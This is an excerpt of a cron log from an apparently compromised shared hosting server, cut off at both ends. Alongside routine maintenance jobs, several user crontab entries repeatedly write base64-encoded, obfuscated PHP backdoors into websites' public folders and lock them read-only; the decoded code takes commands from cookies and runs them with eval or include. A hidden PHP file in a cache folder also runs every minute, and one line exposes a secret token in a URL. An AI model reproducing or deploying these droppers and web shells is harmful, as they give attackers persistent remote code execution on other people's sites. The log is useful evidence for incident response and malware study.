c3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:48:01 medusa CROND[18614]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:48:01 medusa CROND[18616]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:48:01 medusa CROND[18620]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 13:48:01 medusa CROND[18627]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:48:01 medusa CROND[18628]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 13:49:01 medusa CROND[8182]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:49:01 medusa CROND[8292]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:49:01 medusa CROND[8457]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:49:01 medusa CROND[8458]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:49:01 medusa CROND[8461]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:49:01 medusa CROND[8466]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:49:01 medusa CROND[8476]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 13:49:01 medusa CROND[8477]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:49:01 medusa CROND[8479]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:49:01 medusa CROND[8480]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:49:01 medusa CROND[8491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:49:01 medusa CROND[8494]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:50:02 medusa CROND[26488]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 13:50:02 medusa CROND[26656]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 13:50:02 medusa CROND[26664]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 13:50:02 medusa CROND[26665]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:50:02 medusa CROND[26666]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 13:50:02 medusa CROND[26668]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 13:50:02 medusa CROND[26672]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:50:02 medusa CROND[26676]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 13:50:02 medusa CROND[26677]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 13:50:02 medusa CROND[26675]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:50:02 medusa CROND[26674]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 13:50:02 medusa CROND[26683]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:50:02 medusa CROND[26687]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 13:50:02 medusa CROND[26689]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:50:02 medusa CROND[26688]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 13:50:02 medusa CROND[26709]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:50:02 medusa CROND[26702]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 13:50:02 medusa CROND[26690]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 13:50:02 medusa CROND[26712]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 13:50:02 medusa CROND[26685]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:50:02 medusa CROND[26713]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:50:02 medusa CROND[26714]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 13:50:02 medusa CROND[26720]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVs